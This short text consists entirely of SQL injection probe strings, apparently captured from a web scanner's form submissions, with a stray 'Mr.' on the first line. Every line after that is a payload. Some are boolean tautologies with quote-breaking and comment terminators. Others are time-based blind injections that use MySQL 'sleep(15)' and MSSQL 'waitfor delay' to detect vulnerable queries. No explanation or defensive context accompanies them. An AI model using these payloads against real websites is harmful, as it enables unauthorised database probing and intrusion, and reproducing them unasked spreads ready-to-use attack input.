Mr.

-1 OR 2+21-21-1=0+0+0+1

-1' OR 2+552-552-1=0+0+0+1 --

-1' OR 2+14-14-1=0+0+0+1 or '9f8wFegy'='

-1" OR 2+644-644-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --

r45fG7ET'; waitfor delay '0:0:15' --